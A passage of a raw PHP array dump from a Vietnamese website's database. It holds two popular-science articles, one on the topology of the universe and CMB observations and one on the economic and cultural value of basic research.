5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 